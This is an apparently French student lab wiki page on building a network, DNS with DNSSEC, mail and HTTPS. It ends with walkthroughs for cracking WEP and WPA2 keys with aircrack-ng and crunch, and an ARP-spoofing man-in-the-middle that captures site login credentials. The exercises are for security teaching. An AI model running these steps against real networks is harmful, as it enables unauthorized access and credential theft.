post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
L'architecture du réseau est la suivante : <br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG|1000px|thumb|left|Architecture du réseau]]<br />
<br style="clear: both;" \><br />
<br />
Le problème est que si on regarde le réseau n'est pas vraiment redondant : <br />
<br />
- Si on a une coupure de courant tout le réseau s'effondrent, dans l'idéale, il faudrait des onduleurs et un réseau électrique séparé pour la Baie1 et la Baie2/3<br />
<br />
- Le réseau ADSL n'est pas fonctionnelle donc si on perd le réseau Polytech on n'as plus accès aux machines.<br />
<br />
- Toutes les VM et les sites WEB sont sur la baie3 qui héberge le serveur de virtualisation Capbreton, si on perd la baie3 tout le système tombe.<br />
<br />
- Pour finir dans l'idéale les deux bais devrais être dans des bâtiments séparer en cas d'incendie, on risque de perdre les deux bais.<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
Grace aux efforts de monsieur Xavier Redon pour permettre de joindre Capbreton a distance pendant le confinement avec la commande 'SSH'.<br />
On peux donc maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54014TP sysres IMA2a5 2020/2021 G52020-11-27T17:13:51Z<p>Aglaine : /* Architecture réseau */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
